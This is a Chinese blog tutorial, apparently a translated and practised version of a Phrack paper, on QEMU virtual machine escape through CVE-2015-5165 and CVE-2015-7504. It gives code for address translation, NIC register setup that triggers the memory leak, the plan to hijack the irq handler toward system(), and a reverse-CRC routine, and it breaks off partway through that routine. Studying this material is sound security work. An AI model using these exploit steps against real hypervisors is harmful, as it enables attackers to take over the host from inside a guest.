VM escape 之 QEMU Case Study

声明:首先这篇文章算是翻译+实践的

学习的来源是phrack网站的paper,这个应是上年就看到了,现在才去尝试实践与学习。

其实算是简译再加上自己的实践吧,最后劫持rip起shell由于需要特殊的内核编译才能搞,就没具体实践了,原理上理解了。

看完这篇文章,一句话说明虚拟机逃逸漏洞利用其实就是:

利用qemu代码实现上的漏洞去起一个/bin/sh什么的(当然执行计算器也是可以的),问题是我们在guest虚拟机里面,我们怎么控制那个/bin/sh呢,那就是通过共享内存交换数据(传递我们的命令到共享内存,最终传递给shell,之后将shell命令的执行结果放入共享内存传递回来guest虚拟机),从而实现在guest虚拟机控制qemu启动的/bin/sh。

简介

无论企业还是个人,都越来越频繁地使用虚拟化技术,从而引出虚拟机逃逸

这个案例讲的是CVE-2015-5165 (信息泄露漏洞) and CVE-2015-7504 (堆溢出漏洞)

KVM/QEMU 总览

KVM(Kernel Virtual Machine)是Linux的一个内核驱动模块,它能够让Linux主机成为一个Hypervisor(虚拟机监控器)。

QEMU(quick emulator)本身并不包含或依赖KVM模块,而是一套由Fabrice Bellard编写的模拟计算机的自由软件。QEMU虚拟机是一个纯软件的实现,可以在没有KVM模块的情况下独立运行,但是性能比较低。QEMU使用了KVM模块的虚拟化功能,为自己的虚拟机提供硬件虚拟化加速以提高虚拟机的性能。

环境搭建

git clone下来后需要回退到漏洞版本

下面编译成x86_64,并且启用调试

1
2
3
4
5
6
7
8
$ git clone git://git.qemu-project.org/qemu.git
$ cd qemu
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug \
$ --disable-werror
$ make

当然可能在编译器前需要下载pixman,autoconf

1
2
apt install libpixman-1-dev
apt install autoconf

之后得装下系统获得一个qcow2的镜像,直接用别人的镜像也行,我下面安装的是ubuntu-16.04.5-server

我们可以新建硬盘,在启动安装,可能需要vnc连接安装一下

1
2
qemu-img create -f qcow2 ubuntu.qcow2 20G
qemu-system-x86_64 -enable-kvm -m 2048 -hda /path/to/ubuntu.qcow2 -cdrom /path/to/ubuntu.iso

当然我们也可以通过图形化的virt-manager来安装

1
2
3
sudo apt install virt-manager
sudo apt install qemu
sudo apt install qemu-kvm

镜像可能size是我们设置的硬盘大小20G,可以这样缩小为实际占用空间

1
sudo qemu-img convert -c -O qcow2 ubuntu16.04.qcow2  ubuntu16.04.qcow2.new

有了qcow2镜像后,就可以启动了,添加了漏洞相关的两个网卡rtl8139和pcnet,path_to_image自己修改下

1
2
3
4
./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-drive file=<path_to_image>,format=qcow2,if=ide,cache=writeback

当然可以通过添加这个参数-redir tcp:5022::22映射ssh端口,我们连接5022即可连接qemu里面的ssh

注意vnc的端口是5989(默认端口是5900,5900+89 = 5989,89是上面的参数)

别人直接attach去调试是可以的,但是我们attach上去之后就不能再c了,不知道为何,也没下断点,怎么就有一个-1的断点呢,知道如何解决的告诉我。

所以我只能直接gdb启动qemu了,

调试示例:

1
gdb --args ./qemu-system-x86_64 -enable-kvm -m 2048   -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0    -redir tcp:5022::22    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1    -drive file=/ubuntu16.04.qcow2,format=qcow2,if=ide,cache=writeback

QEMU内存布局

guest虚拟机的物理内存实际上是qemu程序mmap出来的一块private属性的虚拟内存。而且PROT_EXEC这个标志在这个虚拟内存中是不启用的

下面作者的图比较直观

我们去查maps文件的时候,也可以看出来,上面qemu启动命令所设置的2G内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo cat /proc/5291/maps
55dad0b86000-55dad1124000 r-xp 00000000 08:01 665015 /XXXXX/XXXXX/qemu-system-x86_64
55dad1323000-55dad13ed000 r--p 0059d000 08:01 665015 /XXXXX/XXXXX/qemu-system-x86_64
55dad13ed000-55dad146a000 rw-p 00667000 08:01 665015 /XXXXX/XXXXX/qemu-system-x86_64
55dad146a000-55dad18d9000 rw-p 00000000 00:00 0
55dad1f65000-55dad3b83000 rw-p 00000000 00:00 0 [heap]
7f1a1c000000-7f1a1c022000 rw-p 00000000 00:00 0
7f1a1c022000-7f1a20000000 ---p 00000000 00:00 0
7f1a20000000-7f1aa0000000 rw-p 00000000 00:00 0 //这个就是2G内存
7f1aa0000000-7f1aa07a0000 rw-p 00000000 00:00 0
7f1aa07a0000-7f1aa4000000 ---p 00000000 00:00 0
7f1aa4acb000-7f1aa8000000 rw-p 00000000 00:00 0
7f1aa8000000-7f1aa809e000 rw-p 00000000 00:00 0
......
......
......

上面那个为啥是2G,你看看下面的2G的大小,以及下面的地址差

1
2
3
4
>>> hex(2*1024*1024*1024)
'0x80000000'
>>> hex(0x7f1aa0000000 - 0x7f1a20000000)
'0x80000000'

地址转换

这里面有两层转换

1、从guest 的虚拟机地址 to guest 的物理地址

2、从 guest 的物理地址 to QEMU’s 虚拟地址空间

假如知道了上一小节,这个就不难理解了

在64位系统,虚拟地址是由页面偏移(0到11 bits)和页号组成的。

而且pagemap页面映射文件给了用户空间的进程CAP_SYS_ADMIN权限去找到虚拟地址与物理地址的映射

pagemap页面映射文件包含的虚拟页面是一个64位的值,如下面所示

1
2
3
4
5
6
7
- Bits 0-54  : physical frame number if present.
- Bit 55 : page table entry is soft-dirty.
- Bit 56 : page exclusively mapped.
- Bits 57-60 : zero
- Bit 61 : page is file-page or shared-anon.
- Bit 62 : page is swapped.
- Bit 63 : page is present.

为了将虚拟地址转换成物理地址,使用Nelson Elhage的代码,下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;

////下面是网上其他人的代码,只是为了理解上面的代码
//一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
//pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
//最终  vir/2^12 * 8 = (vir / 2^9) & ~7
//这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
// int page_size=getpagesize();
    // unsigned long vir_page_idx = vir/page_size;
    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);

lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
// 确保页面存在——page is present.
if (!(pme & PFN_PRESENT))
return -1;
// physical frame number
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
uint8_t *ptr;
uint64_t ptr_mem;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

getchar();
return 0;
}

我们将上面这个代码编译后,放到qemu运行(root权限)

之后我们在主机gdb attach到qemu的pid(root权限)

查看分配给qemu虚拟机对应的内存,我们分配的是2G,所以大小是0x8000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb-peda$ info proc mappings
process 2776
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x56154915f000 0x5615497a2000 0x643000 0x0 /XXXXXXXXXX/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
0x5615499a1000 0x561549a71000 0xd0000 0x642000 /XXXXXXXXXX/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
0x561549a71000 0x561549af7000 0x86000 0x712000 /XXXXXXXXXX/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
0x561549af7000 0x561549f87000 0x490000 0x0
0x56154b0fc000 0x56154cd14000 0x1c18000 0x0 [heap]
0x7fcdd4000000 0x7fcdd40b8000 0xb8000 0x0
0x7fcdd40b8000 0x7fcdd8000000 0x3f48000 0x0
0x7fcdd86c9000 0x7fcddbe00000 0x3737000 0x0
0x7fcddbe00000 0x7fcddbe01000 0x1000 0x0
0x7fcddbeff000 0x7fcddc000000 0x101000 0x0
0x7fcddc000000 0x7fce5c000000 0x80000000 0x0 <=========就这个
0x7fce5c000000 0x7fce5c883000 0x883000 0x0
0x7fce5c883000 0x7fce60000000 0x377d000 0x0
。。。。。。
。。。。。。
。。。。。。

可以看到确实可以在这个虚拟地址看到我们字符串

信息泄露利用的实现

下面是CVE-2015-5165,一个 RTL8139 网卡设备模拟器的内存信息泄露漏洞

我们需要获得下面两种地址
1、.text段的基址来构建我们的shellcode
2、guest虚拟机的物理地址,以便得到一些虚拟结构的地址

漏洞代码

REALTEK 网卡支持两种模式:C 和 C+,问题在C+模式的时候,网卡设备模拟器错误地计算了IP数据包数据的长度并最终发送了比实际数据包中的更多数据。

漏洞在hw/net/rtl8139.c文件的rtl8139_cplus_transmit_one的函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;

ip = (ip_header*)eth_payload_data;

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen; //计算ip_data_len的时候没有判断ip->ip_len < hlen
}
}

IP头包含了上面的两个字段, hlen和ip->ip_len

hlen是IP头的长度,这个是固定的20字节,不包括可选字段

ip->ip_len是整个包的总长度,包含ip头部的

而且ip_data_len的类型是uint16_t,即unsigned short int,所以当ip->ip_len小于hlen,计算出的结果是负数,转化为unsigned short int,那就是一个大整数了,最终导致发送的数据超过实际ip data区的数据,从而实现泄露

1
typedef unsigned short int      uint16_t;

而超过了MTU的长度,会一个chunk一个chunk地传输

下面是部分代码分成一个一个chunk的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//通过ip_data_len算出tcp_data_len
int tcp_data_len = ip_data_len - tcp_hlen;
//
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size) {
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

memcpy(data_to_checksum, saved_ip_header + 12, 8);

if (tcp_send_offset) {
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
chunk_size);
}

/* more code follows */
}

所以我们发送一个恶意的数据包包含特殊的长度(比如ip->ip_len = hlen - 1),ip_data_len是unsigned short int,所以可以泄露0xffff个字节,那就是我们可以泄露约64KB的内存,收到约43个数据包,因为mtu一般1500。

配置网卡

为了发送格式错误的数据包并读取泄漏的数据,我们需要配置第一个Rx和Tx描述符缓冲区,并设置一些
标志位,以便进入易受攻击的代码路径。

下面是RTL8139漏洞相关的寄存器

  • TxConfig: Enable/disable Tx flags 比如 TxLoopBack (开启 loopback测试模式
    test mode), TxCRC (不添加CRC校验码的 Tx 包), etc.
  • RxConfig: Enable/disable Rx flags 比如 AcceptBroadcast (接收广播包), AcceptMulticast (接收组播包), etc.
  • CpCmd: C+ 命令寄存器用来开启一些函数如下:
    CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc.
  • TxAddr0: Tx descriptors table的物理地址.
  • RxRingAddrLO: Rx descriptors 低32位的物理地址
    table.
  • RxRingAddrHI: Rx descriptors 高32位的地址
    table.
  • TxPoll: 让网卡检查Tx descriptors.

一个Rx/Tx-descriptor就是下面的结构:
buf_lo和buf_hi就是 Tx/Rx 的物理地址的低32和高32位,它们指向发送/接收数据包的缓冲区,必须与页面大小对齐。变量dw0编码了缓冲区的大小还有额外的标记位,比如用来标记缓冲区归网卡还是驱动所有。

1
2
3
4
5
6
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

网卡通过in() 和out()进行配置 (from sys/io.h),我们需要有CAP_SYS_RAWIO权限

下面的代码片段配置网卡,并设置单个Tx描述符

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

网卡的设置通过 in() out() 原语来配置 (from
sys/io.h). 而且我们需要 CAP_SYS_RAWIO 权限才能配置. 下面的代码片段配置了网卡还有初始化了一个Tx descriptor。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define RTL8139_PORT        0xc000
#define RTL8139_BUFFER_SIZE 1500

struct rtl8139_desc desc;
void *rtl8139_tx_buffer;
uint32_t phy_mem;

// 申请对齐的内存,并将返回值转化为物理地址
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);

memset(&desc, 0, sizeof(struct rtl8139_desc));

// 设置Tx descriptor 的dw0,包括缓冲区大小和一些标志位
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;

//设置低32位
desc.buf_lo = phy_mem;

iopl(3);

outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);

outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);

outl(phy_mem, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);

漏洞利用

漏洞利用代码设置了网卡的寄存器还有Tx 和 Rx buffer descriptors,之后发一个异常格式的数据包到网卡的MAC地址,这样我们就可以通过访问Rx缓冲区来读取泄露的数据了

泄露的数据中有几个函数指针,而他们是同一个QEMU内部结构的成员

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;

QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

应该说是这几个

1
2
3
4
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;

qemu遵循对象模型来管理设备,内存区域等,qemu启动的时候,会创建多个对象并为其分配属性。

比如下面的函数会给一个内存区域对象真机一个may-overlap的属性,这个属性有一个getter方法去获取这个属性的布尔值

1
2
3
4
object_property_add_bool(OBJECT(mr), "may-overlap",
memory_region_get_may_overlap,
NULL, /* memory_region_set_may_overlap */
&error_abort);

RTL8139网卡设备仿真器 在堆上用一个64KB的内存来重新组装数据包。而这个64K的buffer有很大机会把free掉了的object properties的内存占位了

在漏洞利用中,我们在泄漏的内存中搜索已知的对象属性。更确切地说,我们正在寻找80字节的内存块(块的大小为已经free掉的ObjectProperty结构,80加上堆头16,就是96,即0x60),其中至少有一个函数指针(get, set, resolve or release),即使开了ASLR,我们仍然可以获得.text部分的基地址。实际上,他们的页面偏移是固定的(12个最低有效位不是随机的),我们可以通过一些简单的计算获得qemu一些有用的函数的地址,我们也可以得到libc的一些地址,比如mprotect() 和 system() 的地址

我们还注意到地址PHY_MEM + 0x78泄漏了几次,其中PHY_MEM是给guest虚拟机分配的物理内存的起始地址

exp就是搜索泄露的内存数据并尝试解析,.text段的虚拟地址,以及物理内存的基址

这个可能需要一行一行的读代码才能好理解

我们可以通过build-exploit.sh,生成的各种函数的相对偏移,之后替换掉qemu.h,再编译cve-2015-5165.c即可

实验结果:

堆溢出的利用

这个小节是讨论CVE-2015-7504,同时提供控制rip的exp

漏洞代码

AMD PCNET网卡模拟器在本地回环测试模式下收到大的数据包时存在堆溢出漏洞,PCNET模拟器保留了4Kb(4096 bytes)的buffer来存储数据包。如果Tx descriptor buffer上的ADDFCS标志位是开启的,网卡会在收到的数据包后面添加一个CRC校验码,这个是在hw/net/pcnet.c里面的pcnet_receive()函数实现的。

收到的数据包小于(4096 - 4)个bytes是没有问题的,但是数据包刚好是4096个bytes,我们就可以溢出这个buffer 4个字节的大小了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
uint8_t *src = s->buffer;

/* ... */

if (!s->looptest) {
memcpy(src, buf, size);
/* no need to compute the CRC */
src[size] = 0;
src[size + 1] = 0;
src[size + 2] = 0;
src[size + 3] = 0;
size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
// 没到字符串结尾就不断调用CRC
while (p != &src[size])
CRC(fcs, *p++);
//将CRC的结果放到字符串后面
*(uint32_t *)p = htonl(fcs);
size += 4;
}

在上面的代码中s指向PCNET结构体,我们看看这个结构体,buffer后面就是irq,我们可以覆盖irq变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};

变量irq是一个指IRQState结构体的指针,而这个指针里面第二是一个handler

1
2
3
4
5
6
7
8
9
10
typedef struct IRQState *qemu_irq;

typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};

而这个handler会被PCNET网卡模拟器调用多次。比如,在pcnet_receive()的末尾,调用了pcnet_update_irq(),这个函数里面调用了qemu_set_irq(),在qemu_set_irq中就调用了irq中的handler

1
2
3
4
5
6
7
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

所以要利用这个漏洞,我们需要:

  • 伪造一个假的IRQState结构体,比如里面包含指向system函数的handler

  • 获得这个假的IRQState结构体的精确地址。有了之前的信息泄露,我们可以算出它在qemu进程的内存地址(这是在guest虚拟机的物理内存基址再加上一个偏移)

  • 伪造一个4K的恶意数据包(即4096字节).

  • 修改数据包,使得计算出来的CRC刚好指向我们构造的假的IRQState结构体

  • 最后就发送这个数据包即可

但PCNET网卡收到数据包,它会通过pcnet_receive函数处理执行以下操作:

  • 复制收到的数据包到buffer变量
  • 计算CRC并追加到buffer后面,那么就会溢出buffer4个bytes,覆盖了irq变量
  • 调用 pcnet_update_irq(),里面再调用 qemu_set_irq() ,在里面就调用irq变量里面的handler,那么我我们的handler就会执行了

请注意,irq是我们伪造的,所以我们可以控制irq->handler的前两个参数 (irq->opaque and irq->n), 感谢一个小技巧,我们也可以控制第三个参数(level),这对于调用mprotect函数来说是必须的。

还需要注意的是我们是用4字节覆盖一个8字节的指针,覆盖的是低4字节,在我们的测试环境中我们可以成功控制rip寄存器。然而这会在没有在编译时设置CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE标志的内核上会出问题。

设置网卡

在进一步研究之前,我们需要设置PCNET网卡需要的flags,Tx 和 Rx 描述缓冲区,还有环形缓冲区,以便能够发送和接收数据包。

AMD PCNET网卡可以以16位模式或者32位模式进行访问。这个取决于DWI0的值(这个值储存在网卡中),下面我们深入PCNET网卡在16位模式下的主要寄存器,因为16位模式网卡重置后的默认模式。

通过访问reset寄存器可以将卡重置为默认状态。

PCNET网卡有两种内部寄存器:CSR (Control and Status Register 控制和状态寄存器) and BCR (Bus Control Registers 总线控制寄存器)。两个寄存器都需要在RAP(Register Address Port) 寄存器设置我们要访问的寄存器索引才能访问。比如我们想初始化并重启网卡,我们需要将CSR0的bit0和bit1设置为1,这个我们可以通过写入0到RAP寄存器去选择CSR0,之后设置CSR为0x3,(即二进制的0b11),如下面代码所示:

1
2
outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

网卡的配置可以通过初始化一个下面的结构体之后传递这个结构体的物理地址给网卡(需要通过CSR1和CSR2寄存器完成)

1
2
3
4
5
6
7
8
9
10
struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};

逆向CRC

就像前面所说的,我们需要填充数据包,使得计算出来的CRC能够指向我们伪造的IRQState结构体。

幸运的是,CRC是可逆的,只需要打一个4字节的补丁即可让他设置成我们想要设置的任何值

下面的源码reverse-crc.c,打了一个4字节的补丁,使得CRC计算出来是0xdeadbeef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
---[ reverse-crc.c ]---
#include <stdio.h>
#include <stdint.h>

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
static const uint32_t crctab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

uint32_t crc_compute(uint8_t *buffer, size_t size)
{
uint32_t fcs = ~0;
uint8_t *p = buffer;

while (p != &buffer[size])
CRC(fcs, *p++);

return fcs;
}

uint32_t crc_reverse(uint32_t current, uint32_t target)
{
size_t i = 0, j;
uint8_t *ptr;
uint32_t workspace[2] = { current, target };
for (i = 0; i < 2; i++)
workspace[i] &= (uint32_t)~0;
ptr = (uint8_t *)(workspace + 1);
for (i = 0; i < 4; i++) {
j = 0;
while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
*((uint32_t *)(ptr - i)) ^= crctab[j];
*(ptr - i - 1) ^= j;
}
return *(uint32_t *)(ptr - 4);
}


int main()
{
uint32_t fcs;
uint32_t buffer[2] = { 0xcafecafe };
uint8_t *ptr = (uint8_t *)buffer;

